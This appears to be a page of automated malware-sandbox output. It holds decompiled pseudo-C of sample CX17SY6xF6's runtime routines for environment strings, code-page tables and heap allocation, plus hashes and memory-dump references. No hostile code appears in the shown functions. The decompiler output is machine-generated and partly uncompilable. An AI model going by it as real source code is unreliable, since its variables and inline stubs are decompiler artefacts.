Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: fdcdab43824a90547c0ba946f26339b7a20b83318adc102c535ec88e33f85bbf
Instruction ID: bb66a995980be00550ae8ffab42e54281b55f76a315bea498a53eb91c2b79cd0
Opcode Fuzzy Hash: fdcdab43824a90547c0ba946f26339b7a20b83318adc102c535ec88e33f85bbf
Instruction Fuzzy Hash: AD011332601219FBCF16AFA5DD01EEE3FA2EF18710F014158FE1426160C7768970EB91

Uniqueness

Uniqueness Score: -1.00%

Function 010E1D19 Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E010E1D19(void* __ecx) {
				void* _t6;
				void* _t14;
				void* _t18;
				WCHAR* _t19;

				_t14 = __ecx;
				_t19 = GetEnvironmentStringsW();
				if(_t19 != 0) {
					_t12 = (E010E1CE2(_t19) - _t19 >> 1) + (E010E1CE2(_t19) - _t19 >> 1);
					_t6 = E010DBD19(_t14, (E010E1CE2(_t19) - _t19 >> 1) + (E010E1CE2(_t19) - _t19 >> 1)); // executed
					_t18 = _t6;
					if(_t18 != 0) {
						E010DEAF0(_t18, _t19, _t12);
					}
					E010DA6DA(0);
					FreeEnvironmentStringsW(_t19);
				} else {
					_t18 = 0;
				}
				return _t18;
			}

0x010e1d19
0x010e1d23
0x010e1d27
0x010e1d38
0x010e1d3c
0x010e1d41
0x010e1d47
0x010e1d4c
0x010e1d51
0x010e1d56
0x010e1d5d
0x010e1d29
0x010e1d29
0x010e1d29
0x010e1d68

APIs

GetEnvironmentStringsW.KERNEL32 ref: 010E1D1D
_free.LIBCMT ref: 010E1D56
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 010E1D5D

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: EnvironmentStrings$Free_free
String ID:
API String ID: 2716640707-0
Opcode ID: 2a76c8a6b723587f21fa327b8d780b20d44a3322d4739dd155a25960ae6dad95
Instruction ID: e1cd11b1ea8c5727025a9ba9646cda87cb617c6d458b157d12c4ac281a2c1e06
Opcode Fuzzy Hash: 2a76c8a6b723587f21fa327b8d780b20d44a3322d4739dd155a25960ae6dad95
Instruction Fuzzy Hash: 71E06537108622AA9122362BBC8CAFF2B99DFD25B57250155F5C487141AE76990641B1

Uniqueness

Uniqueness Score: -1.00%

Function 010DB225 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E010DB225(void* __ebx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed int _v1828;
				signed int _t63;
				void* _t67;
				signed int _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t86;
				char _t87;
				char _t90;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				void* _t96;
				char* _t97;
				intOrPtr _t101;
				signed int _t102;

				_t95 = __edx;
				_t63 =  *0x116dd74; // 0x2e3e64ca
				_v8 = _t63 ^ _t102;
				_t101 = _a4;
				if(GetCPInfo( *(_t101 + 4),  &_v1820) == 0) {
					_t96 = _t101 + 0x119;
					_t90 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t96;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t97 = _t96 + _t90;
						_t69 = _t68 + _t97;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t97 = 0;
							} else {
								_t72 = _t101 + _t90;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t90 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t101 + _t90 + 0x19) =  *(_t101 + _t90 + 0x19) | 0x00000010;
							_t54 = _t90 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t97 = _t73;
						}
						_t68 = _v1828;
						_t96 = _t101 + 0x119;
						_t90 = _t90 + 1;
						__eflags = _t90 - 0x100;
					} while (_t90 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t102 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t93 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t108 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t95 =  *(_t93 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t95;
							if(_t76 > _t95) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t102 + _t76 - 0x104)) = 0x20;
								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t93 = _t93 + 2;
						__eflags = _t93;
						_t75 =  *_t93;
					}
					E010DA4FD(0, _t95, 0x100, _t101, _t108, 0, 1,  &_v264, 0x100,  &_v1800,  *(_t101 + 4), 0);
					E010DCAA6(0x100, _t101, _t108, 0,  *((intOrPtr*)(_t101 + 0x21c)), 0x100,  &_v264, 0x100,  &_v520, 0x100,  *(_t101 + 4), 0); // executed
					E010DCAA6(0x100, _t101, _t108, 0,  *((intOrPtr*)(_t101 + 0x21c)), 0x200,  &_v264, 0x100,  &_v776, 0x100,  *(_t101 + 4), 0);
					_t94 = 0;
					do {
						_t86 =  *(_t102 + _t94 * 2 - 0x704) & 0x0000ffff;
						if((_t86 & 0x00000001) == 0) {
							__eflags = _t86 & 0x00000002;
							if((_t86 & 0x00000002) == 0) {
								 *((char*)(_t101 + _t94 + 0x119)) = 0;
							} else {
								_t37 = _t101 + _t94 + 0x19;
								 *_t37 =  *(_t101 + _t94 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x304));
								goto L15;
							}
						} else {
							 *(_t101 + _t94 + 0x19) =  *(_t101 + _t94 + 0x19) | 0x00000010;
							_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x204));
							L15:
							 *((char*)(_t101 + _t94 + 0x119)) = _t87;
						}
						_t94 = _t94 + 1;
					} while (_t94 < 0x100);
				}
				return E010DDC5F(_v8 ^ _t102);
			}

0x010db225
0x010db230
0x010db237
0x010db23c
0x010db259
0x010db351
0x010db357
0x010db359
0x010db35a
0x010db35a
0x010db35c
0x010db362
0x010db362
0x010db364
0x010db366
0x010db36f
0x010db372
0x010db37e
0x010db385
0x010db395
0x010db387
0x010db387
0x010db38a
0x010db38a
0x010db38a
0x010db38e
0x010db38e
0x00000000
0x010db38e
0x010db374
0x010db374
0x010db379
0x010db379
0x010db391
0x010db391
0x010db391
0x010db397
0x010db39d
0x010db3a3
0x010db3a4
0x010db3a4
0x010db25f
0x010db25f
0x010db261
0x010db261
0x010db268
0x010db269
0x010db26d
0x010db273
0x010db279
0x010db2a1
0x010db2a1
0x010db2a3
0x00000000
0x00000000
0x010db282
0x010db286
0x010db298
0x010db298
0x010db29a
0x00000000
0x00000000
0x010db28b
0x010db28d
0x010db28f
0x010db297
0x010db297
0x00000000
0x010db297
0x00000000
0x010db28d
0x010db29c
0x010db29c
0x010db29f
0x010db29f
0x010db2bb
0x010db2dc
0x010db304
0x010db30c
0x010db30e
0x010db30e
0x010db318
0x010db328
0x010db32a
0x010db341
0x010db32c
0x010db32c
0x010db32c
0x010db32c
0x010db331
0x00000000
0x010db331
0x010db31a
0x010db31a
0x010db31f
0x010db338
0x010db338
0x010db338
0x010db348
0x010db349
0x010db34d
0x010db3b8

APIs

GetCPInfo.KERNEL32(?,?), ref: 010DB24A

Strings

, xrefs: 010DB28F

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: ffbce755fb4f27ea6fbcd476f4e7358b0db1c29a962e93684c9d9008cfa90d59
Instruction ID: 263e3c1a2f1dca449a007384f24ea68f44a46cd824184c0fc6609004cf8ffad6
Opcode Fuzzy Hash: ffbce755fb4f27ea6fbcd476f4e7358b0db1c29a962e93684c9d9008cfa90d59
Instruction Fuzzy Hash: 6A41F9715043489BDF228E688C84AFEBBE9EB56304F1444ECD9CA87142D635AA45DF61

Uniqueness

Uniqueness Score: -1.00%

Function 010DB57A Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E010DB57A(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed char _t62;
				signed int _t63;
				signed char* _t72;
				signed char* _t73;
				int _t78;
				signed int _t81;
				signed char* _t82;
				short* _t83;
				int _t87;
				signed char _t88;
				signed int _t89;
				signed int _t91;
				signed int _t92;
				int _t94;
				int _t95;
				intOrPtr _t98;
				signed int _t99;

				_t48 =  *0x116dd74; // 0x2e3e64ca
				_v8 = _t48 ^ _t99;
				_t98 = _a8;
				_t78 = E010DB14D(__eflags, _a4);
				if(_t78 != 0) {
					_t94 = 0;
					__eflags = 0;
					_t81 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0x116d7e8)) - _t78;
						if( *((intOrPtr*)(_t51 + 0x116d7e8)) == _t78) {
							break;
						}
						_t81 = _t81 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t81;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t78 - 0xfde8;
							if(_t78 == 0xfde8) {
								L23:
							} else {
								__eflags = _t78 - 0xfde9;
								if(_t78 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t78 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t78,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0x116e17c - _t94; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E010DB1C0(_t98);
												goto L37;
											}
										} else {
											E010DF070(_t94, _t98 + 0x18, _t94, 0x101);
											 *(_t98 + 4) = _t78;
											 *(_t98 + 0x21c) = _t94;
											_t78 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t98 + 8) = _t94;
											} else {
												__eflags = _v22;
												_t72 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t88 = _t72[1];
														__eflags = _t88;
														if(_t88 == 0) {
															goto L16;
														}
														_t91 = _t88 & 0x000000ff;
														_t89 =  *_t72 & 0x000000ff;
														while(1) {
															__eflags = _t89 - _t91;
															if(_t89 > _t91) {
																break;
															}
															 *(_t98 + _t89 + 0x19) =  *(_t98 + _t89 + 0x19) | 0x00000004;
															_t89 = _t89 + 1;
															__eflags = _t89;
														}
														_t72 =  &(_t72[2]);
														__eflags =  *_t72;
														if( *_t72 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t73 = _t98 + 0x1a;
												_t87 = 0xfe;
												do {
													 *_t73 =  *_t73 | 0x00000008;
													_t73 =  &(_t73[1]);
													_t87 = _t87 - 1;
													__eflags = _t87;
												} while (_t87 != 0);
												 *(_t98 + 0x21c) = E010DB10F( *(_t98 + 4));
												 *(_t98 + 8) = _t78;
											}
											_t95 = _t98 + 0xc;
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E010DB225(_t78, _t91, _t95, _t98, _t98); // executed
											L37:
											__eflags = 0;
										}
									}
								}
							}
						}
						goto L39;
					}
					E010DF070(_t94, _t98 + 0x18, _t94, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0x116d7f8;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t82 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t82[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t92 =  *_t82 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t92 - _t63;
									if(_t92 > _t63) {
										break;
									}
									__eflags = _t92 - 0x100;
									if(_t92 < 0x100) {
										_t31 = _t94 + 0x116d7e4; // 0x8040201
										 *(_t98 + _t92 + 0x19) =  *(_t98 + _t92 + 0x19) |  *_t31;
										_t92 = _t92 + 1;
										__eflags = _t92;
										_t63 = _t82[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t82 =  &(_t82[2]);
								__eflags =  *_t82;
								if( *_t82 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t94 = _t94 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t94 - 4;
					} while (_t94 < 4);
					 *(_t98 + 4) = _t78;
					 *(_t98 + 8) = 1;
					 *(_t98 + 0x21c) = E010DB10F(_t78);
					_t83 = _t98 + 0xc;
					_t91 = _v36 + 0x116d7ec;
					_t95 = 6;
					do {
						_t58 =  *_t91;
						_t91 = _t91 + 2;
						 *_t83 = _t58;
						_t83 = _t83 + 2;
						_t95 = _t95 - 1;
						__eflags = _t95;
					} while (_t95 != 0);
					goto L36;
				} else {
					E010DB1C0(_t98);
				}
				L39:
				return E010DDC5F(_v8 ^ _t99);
			}

0x010db582
0x010db589
0x010db591
0x010db599
0x010db59e
0x010db5af
0x010db5af
0x010db5b1
0x010db5b3
0x010db5b5
0x010db5b8
0x010db5b8
0x010db5be
0x00000000
0x00000000
0x010db5c4
0x010db5c5
0x010db5c8
0x010db5cb
0x010db5d0
0x00000000
0x010db5d2
0x010db5d2
0x010db5d8
0x010db6a6
0x010db5de
0x010db5de
0x010db5e4
0x00000000
0x010db5ea
0x010db5ee
0x010db5f4
0x010db5f6
0x00000000
0x010db5fc
0x010db601
0x010db607
0x010db609
0x010db693
0x010db699
0x00000000
0x010db69b
0x010db69c
0x00000000
0x010db69c
0x010db60f
0x010db619
0x010db61e
0x010db626
0x010db62c
0x010db62d
0x010db630
0x010db683
0x010db632
0x010db632
0x010db636
0x010db639
0x010db63b
0x010db63b
0x010db63e
0x010db640
0x00000000
0x00000000
0x010db642
0x010db645
0x010db650
0x010db650
0x010db652
0x00000000
0x00000000
0x010db64a
0x010db64f
0x010db64f
0x010db64f
0x010db654
0x010db657
0x010db65a
0x00000000
0x00000000
0x00000000
0x010db65a
0x010db63b
0x010db65c
0x010db65c
0x010db65f
0x010db664
0x010db664
0x010db667
0x010db668
0x010db668
0x010db668
0x010db678
0x010db67e
0x010db67e
0x010db688
0x010db68b
0x010db68c
0x010db68d
0x010db751
0x010db752
0x010db757
0x010db758
0x010db758
0x010db609
0x010db5f6
0x010db5e4
0x010db5d8
0x00000000
0x010db75a
0x010db6b8
0x010db6c0
0x010db6c0
0x010db6c4
0x010db6c7
0x010db6cd
0x010db6d0
0x010db6d0
0x010db6d3
0x010db6d5
0x010db6d7
0x010db6d7
0x010db6da
0x010db6dc
0x00000000
0x00000000
0x010db6de
0x010db6e1
0x010db6fd
0x010db6fd
0x010db6ff
0x00000000
0x00000000
0x010db6e6
0x010db6ec
0x010db6ee
0x010db6f4
0x010db6f8
0x010db6f8
0x010db6f9
0x00000000
0x010db6f9
0x00000000
0x010db6ec
0x010db701
0x010db704
0x010db707
0x00000000
0x00000000
0x00000000
0x010db707
0x010db709
0x010db709
0x010db70c
0x010db70d
0x010db710
0x010db713
0x010db713
0x010db719
0x010db71c
0x010db72b
0x010db734
0x010db739
0x010db73f
0x010db740
0x010db740
0x010db743
0x010db746
0x010db749
0x010db74c
0x010db74c
0x010db74c
0x00000000
0x010db5a0
0x010db5a1
0x010db5a7
0x010db75b
0x010db76a

APIs

Part of subcall function 010DB14D: GetOEMCP.KERNEL32(00000000), ref: 010DB178

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,010DB41B,?,00000000), ref: 010DB5EE
GetCPInfo.KERNEL32(00000000,010DB41B,?,?,?,010DB41B,?,00000000), ref: 010DB601

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: f97738702412299f4ce5fc1e608dfae3ddb438f04f616b3b751ea3932ce9046a
Instruction ID: 3fd70eccafb41437fc6db9f21abe7db8e13fc99ba34d1d4d314b659e1b6e6b90
Opcode Fuzzy Hash: f97738702412299f4ce5fc1e608dfae3ddb438f04f616b3b751ea3932ce9046a
Instruction Fuzzy Hash: 20515770A003069FEB259F79C880AFEBFF5EF46300F1A40AED1D68B241D6399541CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010DB3B9 Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E010DB3B9(signed int __ebx, void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				char _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t31;
				signed int _t36;
				char _t40;
				intOrPtr _t44;
				char _t45;
				signed int _t51;
				void* _t64;
				void* _t70;
				signed int _t75;
				void* _t81;

				_t81 = __eflags;
				_v8 = E010D9C30(__ebx, __ecx, __edx);
				E010DB4D8(__ebx, __ecx, __edx);
				_t31 = E010DB14D(_t81, _a4);
				_v16 = _t31;
				_t57 =  *(_v8 + 0x48);
				if(_t31 ==  *((intOrPtr*)( *(_v8 + 0x48) + 4))) {
					return 0;
				}
				_push(__ebx);
				_t70 = E010DBD19(_t57, 0x220);
				_t51 = __ebx | 0xffffffff;
				__eflags = _t70;
				if(__eflags == 0) {
					L5:
					_t75 = _t51;
					goto L6;
				} else {
					_t70 = memcpy(_t70,  *(_v8 + 0x48), 0x88 << 2);
					 *_t70 =  *_t70 & 0x00000000; // executed
					_t36 = E010DB57A(_t51, _t70,  *(_v8 + 0x48), __eflags, _v16, _t70); // executed
					_t75 = _t36;
					__eflags = _t75 - _t51;
					if(_t75 != _t51) {
						__eflags = _a8;
						if(_a8 == 0) {
							E010D9DE4();
						}
						asm("lock xadd [eax], ebx");
						__eflags = _t51 == 1;
						if(_t51 == 1) {
							_t45 = _v8;
							__eflags =  *((intOrPtr*)(_t45 + 0x48)) - 0x116dae0;
							if( *((intOrPtr*)(_t45 + 0x48)) != 0x116dae0) {
								E010DA6DA( *((intOrPtr*)(_t45 + 0x48)));
							}
						}
						 *_t70 = 1;
						_t64 = _t70;
						_t70 = 0;
						 *(_v8 + 0x48) = _t64;
						_t40 = _v8;
						__eflags =  *(_t40 + 0x350) & 0x00000002;
						if(( *(_t40 + 0x350) & 0x00000002) == 0) {
							__eflags =  *0x116dd04 & 0x00000001;
							if(( *0x116dd04 & 0x00000001) == 0) {
								_v16 =  &_v8;
								E010DB023(5,  &_v16);
								__eflags = _a8;
								if(_a8 != 0) {
									_t44 =  *0x116dd00; // 0xdc2bf0
									 *0x116d7cc = _t44;
								}
							}
						}
						L6:
						E010DA6DA(_t70);
						return _t75;
					} else {
						 *((intOrPtr*)(E010D9826())) = 0x16;
						goto L5;
					}
				}
			}

0x010db3b9
0x010db3c6
0x010db3c9
0x010db3d1
0x010db3da
0x010db3dd
0x010db3e3
0x00000000
0x010db3e5
0x010db3e9
0x010db3f6
0x010db3f8
0x010db3fc
0x010db3fe
0x010db42e
0x010db42e
0x00000000
0x010db400
0x010db40d
0x010db413
0x010db416
0x010db41b
0x010db41f
0x010db421
0x010db440
0x010db444
0x010db446
0x010db446
0x010db451
0x010db455
0x010db456
0x010db458
0x010db45b
0x010db462
0x010db467
0x010db46c
0x010db462
0x010db46d
0x010db473
0x010db478
0x010db47a
0x010db47d
0x010db480
0x010db487
0x010db489
0x010db490
0x010db495
0x010db49e
0x010db4a3
0x010db4a9
0x010db4ab
0x010db4b0
0x010db4b0
0x010db4a9
0x010db490
0x010db430
0x010db431
0x00000000
0x010db423
0x010db428
0x00000000
0x010db428
0x010db421

APIs

Part of subcall function 010D9C30: GetLastError.KERNEL32(?,?,010D5EB1,?,?,?,010D4B88,?), ref: 010D9C34
Part of subcall function 010D9C30: _free.LIBCMT ref: 010D9C67
Part of subcall function 010D9C30: SetLastError.KERNEL32(00000000,?), ref: 010D9CA8
Part of subcall function 010D9C30: _abort.LIBCMT ref: 010D9CAE

Part of subcall function 010DB4D8: _abort.LIBCMT ref: 010DB50A
Part of subcall function 010DB4D8: _free.LIBCMT ref: 010DB53E

Part of subcall function 010DB14D: GetOEMCP.KERNEL32(00000000), ref: 010DB178

_free.LIBCMT ref: 010DB431
_free.LIBCMT ref: 010DB467

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: eb9b80e9dbdbdb46cafb7d37f27fd9601044b715d91b6c3cfc8a8385babd0990
Instruction ID: a3b15f26bc1175a05d0206cfe8146037c47764ec57fd429541f2a2dfe69fe9b7
Opcode Fuzzy Hash: eb9b80e9dbdbdb46cafb7d37f27fd9601044b715d91b6c3cfc8a8385babd0990
Instruction Fuzzy Hash: 4431F431A04309EFDB15EFA9E440BAD7BF4EF52364F264199E4849B2A1EF329D40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010E1D69 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E010E1D69(void* __esi, void* __eflags) {
				intOrPtr _v12;
				void* __ecx;
				char _t16;
				void* _t17;
				void* _t26;
				void* _t28;
				void* _t30;
				char _t31;
				void* _t33;
				intOrPtr* _t35;

				_push(_t26);
				_push(_t26);
				_t16 = E010DA67D(_t26, 0x40, 0x30); // executed
				_t31 = _t16;
				_v12 = _t31;
				_t28 = _t30;
				if(_t31 != 0) {
					_t2 = _t31 + 0xc00; // 0xc00
					_t17 = _t2;
					__eflags = _t31 - _t17;
					if(__eflags != 0) {
						_t3 = _t31 + 0x20; // 0x20
						_t35 = _t3;
						_t33 = _t17;
						do {
							_t4 = _t35 - 0x20; // 0x0
							E010DA986(_t28, _t35, __eflags, _t4, 0xfa0, 0);
							 *(_t35 - 8) =  *(_t35 - 8) | 0xffffffff;
							 *_t35 = 0;
							_t35 = _t35 + 0x30;
							 *((intOrPtr*)(_t35 - 0x2c)) = 0;
							 *((intOrPtr*)(_t35 - 0x28)) = 0xa0a0000;
							 *((char*)(_t35 - 0x24)) = 0xa;
							 *(_t35 - 0x23) =  *(_t35 - 0x23) & 0x000000f8;
							 *((char*)(_t35 - 0x22)) = 0;
							__eflags = _t35 - 0x20 - _t33;
						} while (__eflags != 0);
						_t31 = _v12;
					}
				} else {
					_t31 = 0;
				}
				E010DA6DA(0);
				return _t31;
			}

0x010e1d6e
0x010e1d6f
0x010e1d76
0x010e1d7b
0x010e1d7f
0x010e1d83
0x010e1d86
0x010e1d8c
0x010e1d8c
0x010e1d92
0x010e1d94
0x010e1d97
0x010e1d97
0x010e1d9a
0x010e1d9c
0x010e1da2
0x010e1da6
0x010e1dab
0x010e1daf
0x010e1db1
0x010e1db4
0x010e1dba
0x010e1dc1
0x010e1dc5
0x010e1dc9
0x010e1dcc
0x010e1dcc
0x010e1dd0
0x010e1dd3
0x010e1d88
0x010e1d88
0x010e1d88
0x010e1dd5
0x010e1de2

APIs

Part of subcall function 010DA67D: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,010D9C5E,00000001,00000364,?,010D4B88,?), ref: 010DA6BE

_free.LIBCMT ref: 010E1DD5

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 92a6ae2d68cf9dbe8d0c4afe4cf0655b852b6560beefab47e5d447839bfd82a0
Instruction ID: 19bbf5e524810d09113349c075ccd30e5c9156201353fb8ff0b65030d8729145
Opcode Fuzzy Hash: 92a6ae2d68cf9dbe8d0c4afe4cf0655b852b6560beefab47e5d447839bfd82a0
Instruction Fuzzy Hash: D7014976204305EFE321AF6AD84499AFBE8FBC9270F250A1DE1D483280EB30A805C774

Uniqueness

Uniqueness Score: -1.00%

Function 010DA67D Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E010DA67D(void* __ecx, signed int _a4, signed int _a8) {
				void* __esi;
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x116e1b0, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E010DC742();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E010D9826())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E010DC6AC(_t15, _t19, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x010da67d
0x010da683
0x010da688
0x010da696
0x010da696
0x010da69c
0x010da69e
0x010da69e
0x010da6b5
0x010da6be
0x010da6c6
0x00000000
0x00000000
0x010da6a6
0x010da6a8
0x010da6ca
0x010da6cf
0x010da6d5
